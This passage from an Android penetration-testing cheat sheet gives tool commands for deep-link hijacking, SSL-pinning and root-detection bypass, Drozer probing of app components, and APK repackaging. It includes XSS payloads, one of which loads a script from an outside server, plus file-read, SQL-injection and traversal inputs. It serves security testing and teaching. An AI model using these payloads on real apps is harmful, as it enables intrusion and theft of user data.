backup:\n\n```fundamental\nadb restore backup.ab\n```\n\n--\n\nDownload the latest [Android Backup Extrator](https://github.com/nelenkov/android-backup-extractor/releases), and repackage a backup to a browsable archive (TAR):\n\n```fundamental\njava -jar abe.jar unpack backup.ab backup.tar\n```\n\nYou can try to tamper with a browsable archive (TAR) and repackage it back to a restorable format:\n\n```fundamental\njava -jar abe.jar pack backup.tar backup.ab\n```\n\n## 5. SpotBugs\n\nSAST tool for identifying security vulnerabilities inside an APK, technically, inside a JAR.\n\n\\[1\\] Convert an APK to a JAR:\n\n```\nd2j-dex2jar base.apk -o base.jar\n```\n\n\\[2\\] Decompile the JAR using [jadx](#14-decompile-an-apk). You should now see the `source_jar` directory.\n\n\\[3\\] Download the latest version of the tool from [GitHub](https://github.com/spotbugs/spotbugs/releases), unpack the archive, and open your preferred console from the `/lib/` directory.\n\nRun with GUI:\n\n```fundamental\njava -jar spotbugs.jar -gui\n```\n\n\u003cp align=\"center\"\u003e\u003cimg src=\"https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet/blob/main/img/spotbugs.jpg\" alt=\"SpotBugs\"\u003e\u003c/p\u003e\n\n\u003cp align=\"center\"\u003eFigure 6 - SpotBugs\u003c/p\u003e\n\nRun without the GUI:\n\n```fundamental\njava -jar spotbugs.jar -textui -progress -sourcepath /root/Desktop/source_jar/sources -html=/root/Desktop/spotbugs_results.html /root/Desktop/base.jar\n```\n\nMore about the tool at [spotbugs/spotbugs](https://github.com/spotbugs/spotbugs).\n\n## 6. Deep Links\n\nTest [/.well-known/assetlinks.json](https://developer.android.com/training/app-links/verify-android-applinks) using [developers.google.com/digital-asset-links/tools/generator](https://developers.google.com/digital-asset-links/tools/generator).\n\nDeep links can somtimes bypass authentication, including biometrics.\n\nDon't forget to test a deep link for a cross-site scripting (XSS), open redirect, etc., in case it is opening a WebView.\n\n---\n\nCreate an HTML template to manually test deep links (see also ##):\n\n```bash\nmkdir android_deep_links\n\n# multiple URL schemes\n\nfor scheme in $(cat url_schemes.txt); do for url in $(cat urls.txt | grep -Poi \"${scheme}\\:\\/\\/.+\"); do if [[ ! -z $url ]]; then echo -n \"\u003ca href='${url}'\u003e${url}\u003c/a\u003e\\n\u003cbr\u003e\u003cbr\u003e\\n\" | tee -a \"android_deep_links/${scheme}_deep_links.html\"; fi; done; done\n\n# single URL scheme\n\nscheme=\"somescheme\"; for string in $(cat urls.txt | grep -Poi \"${scheme}\\:\\/\\/.+\"); do echo -n \"\u003ca href='${string}'\u003e${string}\u003c/a\u003e\\n\u003cbr\u003e\u003cbr\u003e\\n\"; done | tee -a \"android_deep_links/${scheme}_deep_links.html\"\n\npython3 -m http.server 9000 --directory android_deep_links\n```\n\nFor `url_schemes.txt` see section [AndroidManifest.xml](#androidmanifestxml), and for `urls.txt` see section [4. Inspect Files](#4-inspect-files).\n\n---\n\nOpen a deep link using ADB:\n\n```\nadb shell am start -W -a android.intent.action.VIEW -d 'somescheme://com.someapp.dev/somepath?somekey=somevalue'\n```\n\nIf you see a pop-up showing multiple apps to open the same deep link, it is very likely that this deep link could be hijacked.\n\n### Android App Link Verification Tester\n\nInstall:\n\n```bash\ngit clone https://github.com/inesmartins/Android-App-Link-Verification-Tester \u0026\u0026 cd Android-App-Link-Verification-Tester\n\npip3 install -r requirements.txt\n```\n\nDecode an APK using [Apktool](#decode). You should now see the `decoded` directory.\n\nGet deep links:\n\n```fundamental\npython3 deeplink_analyser.py -op list-applinks -m decoded/AndroidManifest.xml -s decoded/res/values/strings.xml\n```\n\nBuild PoC:\n\n```fundamental\npython3 deeplink_analyser.py -op build-poc -m decoded/AndroidManifest.xml -s decoded/res/values/strings.xml\n```\n\nVerify app links (valid app links have `http[s]` scheme):\n\n```fundamental\npython3 deeplink_analyser.py -op verify-applinks -apk base.apk -p com.someapp.dev\n```\n\n### Deep Link Hijacking\n\nHijacking a deep link after a successful login on a website can easly lead to session hijacking.\n\n**Properly implemented app links cannot be hijacked.**\n\nTo hijack a deep link, specify it in [AndroidManifest.xml](https://github.com/ivan-sincek/malware-apk/blob/main/src/Malware/app/src/main/AndroidManifest.xml#L48) inside a \"malicious\" PoC app:\n\n```xml\n\u003cdata\n    android:scheme=\"somescheme\"\n    android:host=\"somehost\"\n/\u003e\n```\n\nIncreasing the [priority](https://github.com/ivan-sincek/malware-apk/blob/main/src/Malware/app/src/main/AndroidManifest.xml#L44) might also increase your chances of hijacking a deep link:\n\n```xml\n\u003cintent-filter android:priority=\"999\"\u003e\n```\n\nAfter that, you will need to find a way to trigger your target deep link.\n\nFind out how to perform deep link hijacking using a \"malicious\" PoC app from my other [project](https://github.com/ivan-sincek/malware-apk#implicit-intent-testing).\n\n## 7. WebViews\n\nUnless there is an explicit need, WebView URLs should not be user-controlled, e.g., through intents.\n\nWebViews can easily lead to cross-site scripting (XSS), arbitrary file read/write, data leakage and exfiltration, remote code execute (RCE), etc.\n\nThings to look for in the source code:\n* [WebView](https://developer.android.com/reference/android/webkit/WebView)\n* [setJavaScriptEnabled](https://developer.android.com/reference/android/webkit/WebSettings#setJavaScriptEnabled\\(boolean\\))\n    * default: `false`\n* [setAllowFileAccess](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\\(boolean\\))\n    * default: `false` on Android OS v11.0+ and API v30+\n* [setAllowUniversalAccessFromFileURLs](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\\(boolean\\))\n    * default: `false` on Android OS v4.1+ and API v16+\n* [setAllowFileAccessFromFileURLs](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\\(boolean\\))\n    * default: `false` on Android OS v4.1+ and API v16+\n    * value is ignored if `getAllowUniversalAccessFromFileURLs` is `true`\n* [addJavascriptInterface](https://developer.android.com/reference/android/webkit/WebView#addJavascriptInterface\\(java.lang.Object,%20java.lang.String\\))\n    * default: only public methods annotated with `@JavascriptInterface` on Android OS v4.2+ and API v17+ can be added; otherwise, all public methods (including inherited ones) can be added\n* [loadUrl](https://developer.android.com/reference/android/webkit/WebView#loadUrl\\(java.lang.String\\))\n\nSimple cross-site scripting (XSS) payloads:\n\n```html\njavascript:alert(1)\n\n\u003cscript\u003ealert(1)\u003c/script\u003e\n\n\u003cscript\u003ealert(someJavaScriptBridge.someMethod())\u003c/script\u003e\n\n\u003cscript src=\"https://myserver.com/xss.js\"\u003e\u003c/script\u003e\n\n\u003cimg src=\"https://github.com/favicon.ico\" onload=\"alert(1)\"\u003e\n```\n\nArbitrary file read using the `file://` URL scheme:\n\n```fundamental\nfile:///data/data/com.someapp.dev/shared_prefs/somefile.xml\n```\n\nArbitrary file read using a cross-site scripting (XSS):\n\n```html\n\u003cscript\u003e\n    var xhr = new XMLHttpRequest();\n    xhr.open(\"GET\", \"file:///data/data/com.someapp.dev/shared_prefs/somefile.xml\", true); // async\n    xhr.onreadystatechange = function() {\n        if (xhr.readyState == XMLHttpRequest.DONE) {\n            alert(xhr.responseText); // for demonstration purposes\n        }\n    }\n    xhr.send();\n\u003c/script\u003e\n```\n\nAfter you finish testing \\[and logout\\], don't forget to [download](#downloadupload-files-and-directories) the app specific directories and inspect all the files inside. Inspect what is new and what still persists after the logout.\n\nWebView specific directories to look for:\n\n* `app_webview`\n* `blob_storage`\n* `Cookies`\n* `pref_store`\n* `Service Worker`\n* `Session Storage`\n* `Web Data`\n\n## 8. Frida\n\nUseful resources:\n\n* [frida.re](https://frida.re/docs/home)\n* [learnfrida.info](https://learnfrida.info)\n* [codeshare.frida.re](https://codeshare.frida.re)\n* [dweinstein/awesome-frida](https://github.com/dweinstein/awesome-frida)\n* [interference-security/frida-scripts](https://github.com/interference-security/frida-scripts)\n* [m0bilesecurity/Frida-Mobile-Scripts](https://github.com/m0bilesecurity/Frida-Mobile-Scripts)\n* [WithSecureLabs/android-keystore-audit](https://github.com/WithSecureLabs/android-keystore-audit)\n\nList processes:\n\n```bash\nfrida-ps -Uai\n\nfrida-ps -Uai | grep -i 'keyword'\n```\n\nGet PID for a specified keyword:\n\n```bash\nfrida-ps -Uai | grep -i 'keyword' | cut -d ' ' -f 1\n```\n\nDiscover internal methods/calls:\n\n```bash\nfrida-discover -U -f com.someapp.dev | tee frida_discover.txt\n```\n\nTrace internal methods/calls:\n\n```bash\nfrida-trace -U -p 1337\n\nfrida-trace -U -p 1337 -i 'recv*' -i 'send*'\n```\n\n### Frida Scripts\n\nBypass SSL Pinning using [android-ssl-pinning-bypass-2](https://codeshare.frida.re/@ivan-sincek/android-ssl-pinning-bypass-2) script:\n\n```fundamental\nfrida -U -no-pause -l android-ssl-pinning-bypass-2.js -f com.someapp.dev\n\nfrida -U -no-pause --codeshare ivan-sincek/android-ssl-pinning-bypass-2 -f com.someapp.dev\n```\n\nI prefer to use the built-in method in [Objection](#bypasses).\n\n---\n\nFor this Frida script to work, you need to push your Burp Proxy or ZAP certificate to a specific location with the specific name `cacert.der`:\n\n```fundamental\nadb push cacert.der /data/local/tmp/cacert.der\n```\n\nBypass SSL Pinning using [android-ssl-pinning-bypass](https://codeshare.frida.re/@ivan-sincek/android-ssl-pinning-bypass) script:\n\n```fundamental\nfrida -U -no-pause -l android-ssl-pinning-bypass.js -f com.someapp.dev\n\nfrida -U -no-pause --codeshare ivan-sincek/android-ssl-pinning-bypass -f com.someapp.dev\n```\n\nI prefer to use the built-in method in [Objection](#bypasses).\n\n---\n\nMonitor all intent calls, including deep links, using [android-intent-monitor](https://codeshare.frida.re/@ivan-sincek/android-intent-monitor) script:\n\n```fundamental\nfrida -U -no-pause -l android-intent-monitor.js -f com.someapp.dev\n\nfrida -U -no-pause --codeshare ivan-sincek/android-intent-monitor -f com.someapp.dev\n```\n\n## 9. Objection\n\nUseful resources:\n\n* [sensepost/objection](https://github.com/sensepost/objection)\n\nRun:\n\n```fundamental\nobjection -g com.someapp.dev explore\n```\n\nRun a [Frida](#8-frida) script in Objection:\n\n```fundamental\nimport somescript.js\n\nobjection -g com.someapp.dev explore --startup-script somescript.js\n```\n\nGet environment variables:\n\n```fundamental\nenv\n```\n\nList KeyStore:\n\n```fundamental\nandroid keystore list\n```\n\nDump app's memory to a file:\n\n```fundamental\nmemory dump all mem.dmp\n```\n\nDump app's memory after, e.g., 10 minutes of inactivity, then, check if sensitive data is still in the memory. See section [4. Inspect Files](#4-inspect-files).\n\n**In case Objection detaches from the app, use the process ID to attach it back without restarting the app.**\n\nSearch app's memory directly:\n\n```bash\nmemory search 'somestring' --string\n```\n\nList classes and methods:\n\n```bash\nandroid hooking list classes\n\nandroid hooking search classes com.someapp.dev\nandroid hooking search classes 'keyword'\n\nandroid hooking list class_methods 'someclass'\nandroid hooking search methods com.someapp.dev 'someclass'\n```\n\nHook on a class or method:\n\n```bash\nandroid hooking watch class 'someclass'\n\nandroid hooking watch class_method 'somemethod' --dump-args --dump-backtrace --dump-return\n```\n\nChange the method's return value:\n\n```bash\nandroid hooking set return_value 'somemethod' 'somevalue'\n```\n\nMonitor the clipboard:\n\n```fundamental\nandroid clipboard monitor\n```\n\n### Bypasses\n\nBypass a root detection:\n\n```bash\nandroid root disable --quiet\n\nobjection -g com.someapp.dev explore --startup-command 'android root disable --quiet'\n```\n\n---\n\nBypass SSL pinning:\n\n```bash\nandroid sslpinning disable --quiet\n\nobjection -g com.someapp.dev explore --startup-command 'android sslpinning disable --quiet'\n```\n\nAlso, you can import [Frida](#frida-scripts) script.\n\n## 10. Drozer\n\nConnect to a remote agent:\n\n```fundamental\ndrozer console connect --server 192.168.1.10\n```\n\nList modules and show module details:\n\n```fundamental\nlist\n\nrun somemodule --help\n```\n\nList / search packages:\n\n```bash\nrun app.package.list\n\nrun app.package.list -f 'keyword'\n\nrun app.package.list -p android.permission.SOME_PERMISSION\n\nrun app.package.backup\n\nrun app.package.debuggable\n```\n\nShow a package information:\n\n```fundamental\nrun app.package.info -a com.someapp.dev\n```\n\nShow app's AndroidManifest.xml:\n\n```fundamental\nrun app.package.manifest com.someapp.dev\n```\n\nIn case Drozer did not fetch the whole manifest file, decode an APK using [Apktool](#decode) and inspect the file manually.\n\nShow app's attack surface:\n\n```fundamental\nrun app.package.attacksurface com.someapp.dev\n```\n\n### Intents\n\nIntents, together with other Android components, can easily lead to cross-site scripting (XSS), arbitrary file read/write, data leakage and exfiltration, remote code execute (RCE), etc.\n\nRead more about intents and intent filters [here](developer.android.com/guide/components/intents-filters).\n\nList exported and protected (unexported) activities and their intents:\n\n```fundamental\nrun app.activity.info -i -a com.someapp.dev\n\nrun app.activity.info -u -i -a com.someapp.dev\n```\n\nExamine the launch intent (main activity):\n\n```fundamental\nrun app.package.launchintent com.someapp.dev\n```\n\nList browsable URIs (deep links):\n\n```\nrun scanner.activity.browsable -a com.someapp.dev\n```\n\nYou will need to [reverse engineer](#14-decompile-an-apk) the APK and look into the source code to find out what parameters need to be sent to the intent to exploit it.\n\nStart an activity:\n\n```fundamental\nrun app.activity.start --component com.someapp.dev com.someapp.dev.SomeActivity\n\nrun app.activity.start --component com.someapp.dev com.someapp.dev.SomeActivity --action android.intent.action.SOME_ACTION --data-uri somescheme://somehost --extra integer somekey somevalue --extra string somekey somevalue\n```\n\nUse `--help` to see more options.\n\n__In Drozer, you cannot pass arrays, lists, objects, etc., to an intent due to the console line interface (CLI) limitations, but the same can be done if you build your own \"malicious\" app.__\n\n### Content Providers\n\nRead more about content providers [here](https://developer.android.com/guide/topics/providers/content-providers).\n\nList exported and protected (unexported) content providers:\n\n```fundamental\nrun app.provider.info -a com.someapp.dev\n\nrun app.provider.info -u -a com.someapp.dev\n```\n\nList, query, and scan for vulnerabilities all content providers' URIs:\n\n```fundamental\nrun app.provider.finduri com.someapp.dev\n\nrun scanner.provider.finduris -a com.someapp.dev\n\nrun scanner.provider.injection -a com.someapp.dev\n\nrun scanner.provider.sqltables -a com.someapp.dev\n\nrun scanner.provider.traversal -a com.someapp.dev\n```\n\nYou will need to [reverse engineer](#14-decompile-an-apk) the APK and look into the source code to find out what parameters need to be sent to the content provider to exploit it.\n\nContent provider CRUD controls and more:\n\n```fundamental\nrun app.provider.insert content://com.someapp.dev.ContentProvider --integer somekey somevalue --string somekey somevalue\n\nrun app.provider.query content://com.someapp.dev.ContentProvider --projection '*'\n\nrun app.provider.query content://com.someapp.dev.ContentProvider --projection '* FROM anothertable;--'\n\nrun app.provider.update content://com.someapp.dev.ContentProvider --selection 'somekey=?' --selection-args somevalue --integer somekey somevalue --string somekey somevalue\n\nrun app.provider.delete content://com.someapp.dev.ContentProvider --selection 'somekey=?' --selection-args somevalue\n\nrun app.provider.read content://com.someapp.dev.FileProvider/etc/hosts\n```\n\nUse `--help` to see more options.\n\n### Broadcast Receivers\n\nRead more about broadcasts [here](https://developer.android.com/develop/background-work/background-tasks/broadcasts).\n\nList exported and protected (unexported) broadcast receivers:\n\n```fundamental\nrun app.broadcast.info -i -a com.someapp.dev\n\nrun app.broadcast.info -i -u -a com.someapp.dev\n```\n\nMonitor broadcast receivers:\n\n```fundamental\nrun app.broadcast.sniff --action com.someapp.dev.SOME_ACTION\n```\n\nYou will need to [reverse engineer](#14-decompile-an-apk) the APK and look into the source code to find out what parameters need to be sent to the broadcast receiver to exploit it.\n\nSend data to a broadcast receiver:\n\n```fundamental\nrun app.broadcast.send --action com.someapp.dev.SOME_ACTION --extra integer somekey somevalue --extra string somekey somevalue\n```\n\n__In Drozer, you cannot specify a broadcast receiver, but in [ADB](#android-debug-bridge-adb), you can.__\n\nIf a broadcast receiver does not have an intent filter, you can try triggering it with a non-existent action:\n\n```fundamental\nadb shell am broadcast -a android.intent.action.NON_EXISTING_ACTION -n come.someapp.dev/.SomeReceiver\n```\n\nUse `--help` to see more options.\n\n### Services\n\nRead more about services [here](https://developer.android.com/develop/background-work/services).\n\nList exported and protected (unexported) services:\n\n```fundamental\nrun app.service.info -i -a com.someapp.dev\n\nrun app.service.info -i -u -a com.someapp.dev\n```\n\nYou will nedd to [reverse engineer](#14-decompile-an-apk) the APK and look into the source code to find out what parameters need to be sent to the service to exploit it.\n\nSend data to a service:\n\n```fundamental\nrun app.service.send com.someapp.dev com.someapp.dev.SomeService --msg what arg1 arg2 --extra string somevalue --extra integer somevalue --bundle-as-obj\n```\n\n`--msg` is a special type of input. Read more about the Message class [here](https://developer.android.com/reference/android/os/Message).\n\n`--bundle-as-obj` helps you to parse a special type of return data. Read more about the Bundle class [here](https://developer.android.com/reference/android/os/Bundle).\n\nUse `--help` to see more options.\n\n## 11. Intent Injections\n\nAccess a protected (unexported) component, such as a private file or an SQLite content provider, using an exported (proxy) intent.\n\nThis can easily lead to arbitrary file read/write, data leakage and exfiltration, remote code execute (RCE), etc.\n\n**This can only be done using a \"malicious\" PoC app, as it is too complex for tools such as Drozer.**\n\nFind out how to perform intent injections using a \"malicious\" PoC app from my other [project](https://github.com/ivan-sincek/malware-apk#implicit-intent-injection-testing).\n\n## 12. Taskjacking\n\nFind out how to perform [taskjacking](https://developer.android.com/privacy-and-security/risks/strandhogg) using a \"malicious\" PoC app from my other [project](https://github.com/ivan-sincek/malware-apk#task-hijacking-testing).\n\nSometimes, this is by design, to improve the user experience (UX) when \"switching\" between two apps.\n\n## 13. Tapjacking\n\nFind out how to perform [tapjacking](https://developer.android.com/privacy-and-security/risks/tapjacking) using a \"malicious\" PoC app from my other [project](https://github.com/ivan-sincek/malware-apk#tapjacking-testing).\n\nApp should prevent overlays on sensitive data inputs by specifying `android:filterTouchesWhenObscured=\"true\"` in its layout files.\n\n## 14. Decompile an APK\n\nDecompile an APK:\n\n```bash\njadx --threads-count $(grep -c 'processor' /proc/cpuinfo) -d /root/Desktop/source/ /root/Desktop/base.apk\n```\n\n**`d2j-dex2jar` \\+ `jadx` actually gives the best results.**\n\nConvert an APK to a JAR:\n\n```fundamental\nd2j-dex2jar base.apk -o base.jar\n```\n\nDecompile a JAR:\n\n```bash\njadx --threads-count $(grep -c 'processor' /proc/cpuinfo) -d /root/Desktop/source_jar/ /root/Desktop/base.jar\n```\n\nDecompiling a JAR will give you a different directory structure, so you might want to decompile both, base.jar and base.apk.\n\nMake sure to specify a full path to the output directory; otherwise, it will default to `/usr/share/jadx/bin/` directory (i.e., to the root directory).\n\nMake sure to specify a full path to the base.jar or [base.apk](#pull-an-apk-baseapk); otherwise, JADX might not recognize it.\n\nTo inspect the source code using GUI, run the following command and open either base.jar or base.apk:\n\n```fundamental\njadx-gui\n```\n\n---\n\nResolve `java.lang.OutOfMemoryError` issue by modifying `/usr/bin/d2j-dex2jar` and increasing the heap size specified in `-Xms` and `-Xmx` parameters, for example:\n\n```fundamental\njava -Xms1024m -Xmx4096m -classpath \"${_classpath}\" \"com.googlecode.dex2jar.tools.Dex2jarCmd\" \"$@\"\n```\n\n## 15. Repackage an APK\n\n### Decode\n\nGet the SMALI source code from an APK. Convenient for quickly fetching and inspecting app's AndroidManifest.xml.\n\n```fundamental\napktool decode base.apk -o decoded\n```\n\nDecode an APK without decoding the sources and resources:\n\n```fundamental\napktool decode -r -s base.apk -o decoded\n```\n\n### Repackage\n\nCreate a repackaged APK from the decoded directory:\n\n```fundamental\napktool build -f decoded -o repackaged.apk\n```\n\nZIP align all the files inside the repackaged APK and check the alignments:\n\n```fundamental\nzipalign -v 4 repackaged.apk\n\nzipalign -c -v 4 repackaged.apk\n```\n\n### Code Sign\n\n[keytool](https://docs.oracle.com/javase/10/tools/keytool.htm) and [jarsigner](https://docs.oracle.com/javase/10/tools/jarsigner.htm) come pre-installed with [Java](#java). However, use [apksigner](https://developer.android.com/tools/apksigner) for the best results because it can use `v1-4` signature schemes; while `jarsigner` can only use `v1` signature scheme.\n\nGenerate a code signing certificate:\n\n```fundamental\nkeytool -genkey -keyalg RSA -validity 365 -keysize 2048 -storetype PKCS12 -alias apk_rsa_priv -keystore apk_rsa_priv.key -storepass 12345678\n```\n\nCode sign the repackaged APK:\n\n```fundamental\napksigner sign --ks apk_rsa_priv.key --ks-pass \"pass:12345678\" repackaged.apk\n\njarsigner -sigalg SHA256withRSA -digestalg SHA-256 -tsa http://timestamp.digicert.com -keystore apk_rsa_priv.key -storepass 12345678 repackaged.apk apk_rsa_priv\n```\n\nVerify the repackaged APK's code signature:\n\n```fundamental\napksigner verify repackaged.apk\n\njarsigner -verify -verbose -certs repackaged.apk\n```\n\n## 16. Miscellaneous\n\n### Monitor the System Log\n\nOn your Kali Linux, run the following command:\n\n```fundamental\nadb logcat | grep 1337\n```\n\nOr, get the PID from a keyword:\n\n```fundamental\nkeyword=\"keyword\"; adb logcat | grep $(frida-ps -Uai | grep -i \"${keyword}\" | tr -s '[:blank:]' ' ' | cut -d ' ' -f 1)\n```\n\n### Monitor File Changes\n\nOn your Kali Linux, download the latest `fsmon` version from [GitHub](https://github.com/nowsecure/fsmon/releases), upload it to your Android device, give it necessary permissions, and run it:\n\n```bash\nadb push fsmon-and-arm /data/local/tmp/\n\nadb shell su\n\nchmod +x /data/local/tmp/fsmon-and-arm\n\n/data/local/tmp/fsmon-and-arm /data/data/com.someapp.dev/\n```\n\nAlways look for created or cached files, images/screenshots, etc.\n\nSensitive files such as know your customer (KYC) and similar, should not persists in the app specific directories on the user device after the file upload. Sensitive files should not be stored in `/tmp/` directory nor similar system-wide directories.\n\nImages and screenshots path:\n\n```fundamental\ncd /mnt/sdcard/DCIM/\ncd /storage/emulated/0/DCIM/\n\ncd /mnt/media_rw/3664-6132/DCIM/\ncd /storage/3664-6132/DCIM/\n\ncd /data/system_ce/0/snapshots/\n```\n\nDon't confuse `/mnt/sdcard/` path with a real removable storage path because sometimes such path is device specific, so you will need to search it on the internet or extract it using some Java code. In my case it is `/mnt/media_rw/3664-6132/` path.\n\n## 17. Tips and Security Best Practices\n\nBypass any keyboard restriction by copying and pasting data into an input field.\n\nAccess tokens should be short lived, and if possible, invalidated on logout.\n\nDon't forget to test widgets, push notifications, and Firebase.\n\nSometimes, deep links and widgets can bypass authentication, including biometrics.\n\nOnly if explicitly allowed, try flooding 3rd party APIs to cause possible monetary damage to the company, or denial-of-service (DoS) by exhausting the allowed quotas/limits.\n\n---\n\nApp should not disclose sensitive data in the predictive text (due to incorrectly defined input field type), app switcher, and push notifications.\n\nApp should warn a user when taking a screenshot of sensitive data.\n\nApp should warn a user that it is trivial to bypass biometrics authentication if Android device is jailbroken.\n\nProduction app (i.e., build) should not be debuggable.\n\n## 18. Useful Websites and Tools\n\n| URL | Description |\n| --- | --- |\n| [developer.android.com](https://developer.android.com) | Official Android documentation. |\n| [streaak/keyhacks](https://github.com/streaak/keyhacks) | Validate various API keys. |\n| [zxing.org/w/decode.jspx](https://zxing.org/w/decode.jspx) | Decode QR codes. |\n| [odinforum.com](https://odinforum.com/discussion/11/latest-versions-of-odin-flashing-tool) | Firmware flashing tool for Samsung devices. |\n| [developer.samsung.com/android-usb-driver](https://developer.samsung.com/android-usb-driver) | USB driver for Samsung devices. |\n| [samfrew.com](https://samfrew.com) | Firmwares for Samsung devices. |\n| [xdaforums.com](https://xdaforums.com/t/magisk-the-magic-mask-for-android.3473445) | Mobile software development forum. |\n\n## 19. Vulnerable Apps\n\nVulnerable apps for learning purposes:\n\n* [payatu/diva-android](https://github.com/payatu/diva-android)\n* [WithSecureLabs/sieve](https://github.com/WithSecureLabs/sieve)\n* [satishpatnayak/AndroGoat](https://github.com/satishpatnayak/AndroGoat)\n* [dineshshetty/Android-InsecureBankv2](https://github.com/dineshshetty/Android-InsecureBankv2)\n* [ctf.hpandro.raviramesh.info](https://ctf.hpandro.raviramesh.info)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fivan-sincek%2Fandroid-penetration-testing-cheat-sheet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fivan-sincek%2Fandroid-penetration-testing-cheat-sheet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fivan-sincek%2Fandroid-penetration-testing-cheat-sheet/lists"}